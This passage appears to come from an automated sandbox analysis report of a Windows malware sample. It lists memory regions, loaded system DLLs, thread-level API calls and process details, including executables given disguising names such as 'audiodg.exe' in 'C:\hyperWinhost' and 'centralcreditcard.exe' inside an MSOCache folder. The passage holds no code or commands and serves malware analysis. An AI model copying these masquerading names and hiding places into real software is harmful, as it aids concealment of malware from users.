0x7fe948cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe948c0000" filename = "" Region: id = 8592 start_va = 0x7fe948d0000 end_va = 0x7fe9495ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe948d0000" filename = "" Region: id = 8593 start_va = 0x7fe94960000 end_va = 0x7fe949cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe94960000" filename = "" Region: id = 8594 start_va = 0x2e0000 end_va = 0x2e0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002e0000" filename = "" Region: id = 8595 start_va = 0x470000 end_va = 0x470fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000470000" filename = "" Region: id = 8596 start_va = 0x1e00000 end_va = 0x1f5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e00000" filename = "" Region: id = 8597 start_va = 0x1f60000 end_va = 0x208ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001f60000" filename = "" Region: id = 8598 start_va = 0x21f0000 end_va = 0x22effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021f0000" filename = "" Region: id = 8599 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 8645 start_va = 0x480000 end_va = 0x48ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000480000" filename = "" Region: id = 8646 start_va = 0x22f0000 end_va = 0x1a2effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000022f0000" filename = "" Region: id = 8672 start_va = 0x1a2f0000 end_va = 0x1a66ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a2f0000" filename = "" Region: id = 8673 start_va = 0x2090000 end_va = 0x2190fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002090000" filename = "" Region: id = 8674 start_va = 0x1a850000 end_va = 0x1a94ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a850000" filename = "" Region: id = 8675 start_va = 0x7fffffd8000 end_va = 0x7fffffd9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Region: id = 8697 start_va = 0x1a710000 end_va = 0x1a80ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a710000" filename = "" Region: id = 8698 start_va = 0x1a950000 end_va = 0x1aa4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a950000" filename = "" Region: id = 8699 start_va = 0x7fffffd6000 end_va = 0x7fffffd7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd6000" filename = "" Region: id = 8709 start_va = 0x1aa50000 end_va = 0x1ad1efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 8720 start_va = 0x7fef2840000 end_va = 0x7fef3e3cfff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "mscorlib.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll") Region: id = 8734 start_va = 0x7fefe060000 end_va = 0x7fefe262fff monitored = 0 entry_point = 0x7fefe083330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 8735 start_va = 0x480000 end_va = 0x4fcfff monitored = 0 entry_point = 0x48cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 8736 start_va = 0x480000 end_va = 0x4fcfff monitored = 0 entry_point = 0x48cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 8737 start_va = 0x7fefd690000 end_va = 0x7fefd69efff monitored = 0 entry_point = 0x7fefd691010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 8803 start_va = 0x7fefc0b0000 end_va = 0x7fefc105fff monitored = 0 entry_point = 0x7fefc0bbbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 8804 start_va = 0x1ad20000 end_va = 0x1af1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad20000" filename = "" Region: id = 8805 start_va = 0x1e00000 end_va = 0x1edefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 8806 start_va = 0x1ee0000 end_va = 0x1f5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001ee0000" filename = "" Region: id = 8858 start_va = 0x7fffff10000 end_va = 0x7fffffaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff10000" filename = "" Region: id = 8859 start_va = 0x7fffff00000 end_va = 0x7fffff0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff00000" filename = "" Region: id = 8860 start_va = 0x7fe949d0000 end_va = 0x7fe94a4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe949d0000" filename = "" Region: id = 8896 start_va = 0x7fe94a50000 end_va = 0x7fe94a5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe94a50000" filename = "" Region: id = 8897 start_va = 0x7fe94a60000 end_va = 0x7fe94a6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe94a60000" filename = "" Region: id = 8914 start_va = 0x7fef7460000 end_va = 0x7fef7462fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-xstate-l2-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-xstate-l2-1-0.dll") Region: id = 8929 start_va = 0x7fef5450000 end_va = 0x7fef559efff monitored = 1 entry_point = 0x7fef5451090 region_type = mapped_file name = "clrjit.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clrjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clrjit.dll") Region: id = 8942 start_va = 0x480000 end_va = 0x48ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000480000" filename = "" Region: id = 8960 start_va = 0x490000 end_va = 0x49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000490000" filename = "" Region: id = 8961 start_va = 0x490000 end_va = 0x49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000490000" filename = "" Region: id = 8962 start_va = 0x490000 end_va = 0x49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000490000" filename = "" Region: id = 9015 start_va = 0x490000 end_va = 0x49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000490000" filename = "" Region: id = 9030 start_va = 0x490000 end_va = 0x49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000490000" filename = "" Region: id = 9045 start_va = 0x4a0000 end_va = 0x4affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004a0000" filename = "" Region: id = 9051 start_va = 0x1ad20000 end_va = 0x1ae9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad20000" filename = "" Region: id = 9052 start_va = 0x1aea0000 end_va = 0x1af1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aea0000" filename = "" Region: id = 9070 start_va = 0x490000 end_va = 0x49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000490000" filename = "" Region: id = 9089 start_va = 0x490000 end_va = 0x49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000490000" filename = "" Region: id = 9090 start_va = 0x4a0000 end_va = 0x4affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004a0000" filename = "" Region: id = 9091 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 9127 start_va = 0x490000 end_va = 0x49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000490000" filename = "" Region: id = 9128 start_va = 0x490000 end_va = 0x49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000490000" filename = "" Region: id = 9156 start_va = 0x490000 end_va = 0x49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000490000" filename = "" Region: id = 9170 start_va = 0x490000 end_va = 0x49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000490000" filename = "" Region: id = 9195 start_va = 0x490000 end_va = 0x49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000490000" filename = "" Region: id = 9206 start_va = 0x490000 end_va = 0x4f1fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "mscorrc.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorrc.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscorrc.dll") Region: id = 9274 start_va = 0x610000 end_va = 0x64ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000610000" filename = "" Region: id = 9275 start_va = 0x1b0f0000 end_va = 0x1b1effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b0f0000" filename = "" Region: id = 9276 start_va = 0x7ffffefe000 end_va = 0x7ffffefffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffefe000" filename = "" Region: id = 9277 start_va = 0x7fffffd4000 end_va = 0x7fffffd5fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd4000" filename = "" Region: id = 9325 start_va = 0x1b200000 end_va = 0x1b2fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b200000" filename = "" Region: id = 9326 start_va = 0x7fefd070000 end_va = 0x7fefd087fff monitored = 0 entry_point = 0x7fefd073b48 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 9327 start_va = 0x7ffffefc000 end_va = 0x7ffffefdfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffefc000" filename = "" Region: id = 9328 start_va = 0x1f60000 end_va = 0x1fa4fff monitored = 0 entry_point = 0x1f61064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9329 start_va = 0x2010000 end_va = 0x208ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002010000" filename = "" Region: id = 9330 start_va = 0x1f60000 end_va = 0x1fa4fff monitored = 0 entry_point = 0x1f61064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9331 start_va = 0x1f60000 end_va = 0x1fa4fff monitored = 0 entry_point = 0x1f61064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9332 start_va = 0x1f60000 end_va = 0x1fa4fff monitored = 0 entry_point = 0x1f61064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9333 start_va = 0x1f60000 end_va = 0x1fa4fff monitored = 0 entry_point = 0x1f61064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9334 start_va = 0x7fefcd70000 end_va = 0x7fefcdb6fff monitored = 0 entry_point = 0x7fefcd71064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9423 start_va = 0x7fefd740000 end_va = 0x7fefd753fff monitored = 0 entry_point = 0x7fefd7410e0 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 9424 start_va = 0x1aff0000 end_va = 0x1b0effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aff0000" filename = "" Region: id = 9425 start_va = 0x7ffffefa000 end_va = 0x7ffffefbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffefa000" filename = "" Region: id = 9463 start_va = 0x1b370000 end_va = 0x1b46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b370000" filename = "" Region: id = 9464 start_va = 0x7ffffef8000 end_va = 0x7ffffef9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffef8000" filename = "" Region: id = 9504 start_va = 0x650000 end_va = 0x65ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000650000" filename = "" Region: id = 9537 start_va = 0x1b640000 end_va = 0x1b73ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b640000" filename = "" Region: id = 9538 start_va = 0x7ffffef6000 end_va = 0x7ffffef7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffef6000" filename = "" Region: id = 9551 start_va = 0x7fef1bd0000 end_va = 0x7fef283efff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\e43dd9c73ab5615e461bf5109c3facd6\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system\\e43dd9c73ab5615e461bf5109c3facd6\\system.ni.dll") Region: id = 9562 start_va = 0x7fef5250000 end_va = 0x7fef5444fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.drawing.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Drawing\\ece80f2e3752a779e894fd45d8f27e64\\System.Drawing.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.drawing\\ece80f2e3752a779e894fd45d8f27e64\\system.drawing.ni.dll") Region: id = 9585 start_va = 0x7fef0b20000 end_va = 0x7fef1bc5fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.windows.forms.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Windows.Forms\\b138f79dea860272ebe6694d9b73f656\\System.Windows.Forms.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.windows.forms\\b138f79dea860272ebe6694d9b73f656\\system.windows.forms.ni.dll") Region: id = 9600 start_va = 0x610000 end_va = 0x61ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000610000" filename = "" Region: id = 9615 start_va = 0x620000 end_va = 0x62ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000620000" filename = "" Region: id = 9621 start_va = 0x7fef8940000 end_va = 0x7fef8955fff monitored = 1 entry_point = 0x7fef894e5e0 region_type = mapped_file name = "nlssorting.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\nlssorting.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\nlssorting.dll") Region: id = 9624 start_va = 0x1b740000 end_va = 0x1ba11fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nlp" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\sortdefault.nlp" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\sortdefault.nlp") Region: id = 9625 start_va = 0x610000 end_va = 0x61ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000610000" filename = "" Region: id = 9626 start_va = 0x620000 end_va = 0x62ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000620000" filename = "" Region: id = 9627 start_va = 0x630000 end_va = 0x63ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000630000" filename = "" Region: id = 9628 start_va = 0x640000 end_va = 0x64ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000640000" filename = "" Region: id = 9629 start_va = 0x650000 end_va = 0x65ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000650000" filename = "" Region: id = 9728 start_va = 0x1f60000 end_va = 0x1f6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001f60000" filename = "" Region: id = 9729 start_va = 0x1f70000 end_va = 0x1f7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001f70000" filename = "" Region: id = 9730 start_va = 0x1f80000 end_va = 0x1f8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001f80000" filename = "" Region: id = 9731 start_va = 0x1f90000 end_va = 0x1f9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001f90000" filename = "" Region: id = 9732 start_va = 0x1fa0000 end_va = 0x1faffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001fa0000" filename = "" Region: id = 9733 start_va = 0x1fb0000 end_va = 0x1fbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001fb0000" filename = "" Region: id = 9734 start_va = 0x1fc0000 end_va = 0x1fcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001fc0000" filename = "" Region: id = 9735 start_va = 0x1fd0000 end_va = 0x1fdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001fd0000" filename = "" Region: id = 9736 start_va = 0x1fe0000 end_va = 0x1feffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001fe0000" filename = "" Region: id = 9737 start_va = 0x1ff0000 end_va = 0x1ffffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001ff0000" filename = "" Region: id = 9738 start_va = 0x2000000 end_va = 0x200ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002000000" filename = "" Region: id = 9739 start_va = 0x21a0000 end_va = 0x21affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021a0000" filename = "" Region: id = 9916 start_va = 0x21b0000 end_va = 0x21bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021b0000" filename = "" Region: id = 9917 start_va = 0x21c0000 end_va = 0x21cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021c0000" filename = "" Region: id = 9918 start_va = 0x21d0000 end_va = 0x21dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021d0000" filename = "" Region: id = 9962 start_va = 0x21e0000 end_va = 0x21effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021e0000" filename = "" Region: id = 9963 start_va = 0x1a670000 end_va = 0x1a67ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a670000" filename = "" Region: id = 9964 start_va = 0x1a680000 end_va = 0x1a68ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a680000" filename = "" Region: id = 9965 start_va = 0x1a690000 end_va = 0x1a69ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a690000" filename = "" Region: id = 9966 start_va = 0x1a6a0000 end_va = 0x1a6affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a6a0000" filename = "" Region: id = 9967 start_va = 0x1a6b0000 end_va = 0x1a6bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a6b0000" filename = "" Region: id = 9968 start_va = 0x1a6c0000 end_va = 0x1a6cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a6c0000" filename = "" Region: id = 9969 start_va = 0x1a6d0000 end_va = 0x1a6dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a6d0000" filename = "" Region: id = 9970 start_va = 0x1a6e0000 end_va = 0x1a6effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a6e0000" filename = "" Region: id = 9971 start_va = 0x1a6f0000 end_va = 0x1a6fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a6f0000" filename = "" Region: id = 9972 start_va = 0x1a700000 end_va = 0x1a70ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a700000" filename = "" Region: id = 9973 start_va = 0x1a810000 end_va = 0x1a81ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a810000" filename = "" Region: id = 9998 start_va = 0x1a820000 end_va = 0x1a82ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a820000" filename = "" Region: id = 9999 start_va = 0x1a830000 end_va = 0x1a83ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a830000" filename = "" Region: id = 10000 start_va = 0x1a840000 end_va = 0x1a84ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a840000" filename = "" Region: id = 10001 start_va = 0x1ad20000 end_va = 0x1ad2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad20000" filename = "" Region: id = 10002 start_va = 0x1ae20000 end_va = 0x1ae9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ae20000" filename = "" Region: id = 10003 start_va = 0x1ad30000 end_va = 0x1ad3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad30000" filename = "" Region: id = 10004 start_va = 0x1ad40000 end_va = 0x1ad4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad40000" filename = "" Region: id = 10005 start_va = 0x1ad50000 end_va = 0x1ad5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad50000" filename = "" Region: id = 10006 start_va = 0x1ad60000 end_va = 0x1ad6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad60000" filename = "" Region: id = 10007 start_va = 0x1ad70000 end_va = 0x1ad7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad70000" filename = "" Region: id = 10298 start_va = 0x1adc0000 end_va = 0x1adfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001adc0000" filename = "" Region: id = 10299 start_va = 0x7ffffefe000 end_va = 0x7ffffefffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffefe000" filename = "" Region: id = 10300 start_va = 0x7fe94a70000 end_va = 0x7fe94a7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe94a70000" filename = "" Region: id = 10354 start_va = 0x610000 end_va = 0x61ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000610000" filename = "" Region: id = 10355 start_va = 0x610000 end_va = 0x61ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000610000" filename = "" Region: id = 10356 start_va = 0x610000 end_va = 0x61ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000610000" filename = "" Region: id = 10409 start_va = 0x610000 end_va = 0x61ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000610000" filename = "" Region: id = 10410 start_va = 0x610000 end_va = 0x61ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000610000" filename = "" Region: id = 10411 start_va = 0x620000 end_va = 0x62ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000620000" filename = "" Region: id = 10449 start_va = 0x630000 end_va = 0x63ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000630000" filename = "" Region: id = 10450 start_va = 0x640000 end_va = 0x64ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000640000" filename = "" Region: id = 10459 start_va = 0x610000 end_va = 0x61ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000610000" filename = "" Region: id = 10476 start_va = 0x610000 end_va = 0x61ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000610000" filename = "" Region: id = 10480 start_va = 0x610000 end_va = 0x61ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000610000" filename = "" Region: id = 10499 start_va = 0x610000 end_va = 0x61ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000610000" filename = "" Thread: id = 353 os_tid = 0x684 [0225.317] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0243.183] EtwEventRegister (in: ProviderId=0x22f5810, EnableCallback=0x1ae2135c, CallbackContext=0x0, RegHandle=0x22f57f0 | out: RegHandle=0x22f57f0) returned 0x0 [0244.626] EtwEventRegister (in: ProviderId=0x22f9f80, EnableCallback=0x1ae213ac, CallbackContext=0x0, RegHandle=0x22f9f60 | out: RegHandle=0x22f9f60) returned 0x0 [0246.213] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x334990*=0xd8, lpdwindex=0x1ae2f4 | out: lpdwindex=0x1ae2f4) returned 0x0 [0247.410] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x1a977fe0*=0x228, lpdwindex=0x1adfe4 | out: lpdwindex=0x1adfe4) returned 0x0 [0248.024] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x334990*=0xd8, lpdwindex=0x1ae2f4 | out: lpdwindex=0x1ae2f4) returned 0x0 [0266.950] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x1a978030*=0x24, lpdwindex=0x1adfe4 | out: lpdwindex=0x1adfe4) returned 0x0 [0267.965] CoWaitForMultipleHandles (dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x334990*=0xd8, lpdwindex=0x1ae2f4) Thread: id = 423 os_tid = 0x53c Thread: id = 441 os_tid = 0x818 [0227.420] CoGetContextToken (in: pToken=0x1a94f900 | out: pToken=0x1a94f900) returned 0x800401f0 [0227.420] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 Thread: id = 446 os_tid = 0x82c Thread: id = 469 os_tid = 0x894 [0245.751] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0245.752] CoGetContextToken (in: pToken=0x1b1ef650 | out: pToken=0x1b1ef650) returned 0x0 [0245.752] CObjectContext::QueryInterface () returned 0x0 [0245.752] CObjectContext::GetCurrentThreadType () returned 0x0 [0245.753] Release () returned 0x0 [0245.753] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x1 [0245.753] CoUninitialize () [0258.698] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\AppContext", ulOptions=0x0, samDesired=0x20019, phkResult=0x1b1eda88 | out: phkResult=0x1b1eda88*=0x0) returned 0x2 [0258.698] RegCloseKey (hKey=0xffffffff80000002) returned 0x0 [0258.705] GetFullPathNameW (in: lpFileName="C:\\hyperWinhost\\audiodg.exe", nBufferLength=0x105, lpBuffer=0x1b1ee5c0, lpFilePart=0x0 | out: lpBuffer="C:\\hyperWinhost\\audiodg.exe", lpFilePart=0x0) returned 0x1b Thread: id = 470 os_tid = 0x898 Thread: id = 482 os_tid = 0x8c8 Thread: id = 499 os_tid = 0x90c Thread: id = 500 os_tid = 0x910 Thread: id = 529 os_tid = 0x98c [0248.645] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0248.646] CoGetContextToken (in: pToken=0x1b73fa50 | out: pToken=0x1b73fa50) returned 0x0 [0248.646] CObjectContext::QueryInterface () returned 0x0 [0248.646] CObjectContext::GetCurrentThreadType () returned 0x0 [0248.646] Release () returned 0x0 [0248.646] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x1 [0248.646] CoUninitialize () Thread: id = 539 os_tid = 0x9bc Process: id = "90" image_name = "centralcreditcard.exe" filename = "c:\\msocache\\all users\\{90160000-00e1-0409-1000-0000000ff1ce}-c\\centralcreditcard.exe" page_root = "0x7787f000" os_pid = "0x6b0" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "76" os_parent_pid = "0x4d8" cmd_line = "\"C:\\MSOCache\\All Users\\{90160000-00E1-0409-1000-0000000FF1CE}-C\\centralcreditcard.exe\" " cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fea5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 7527 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 7528 start_va = 0x30000 end_va = 0x12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 7529 start_va = 0x130000 end_va = 0x133fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000130000" filename = "" Region: id = 7530 start_va = 0xc10000 end_va = 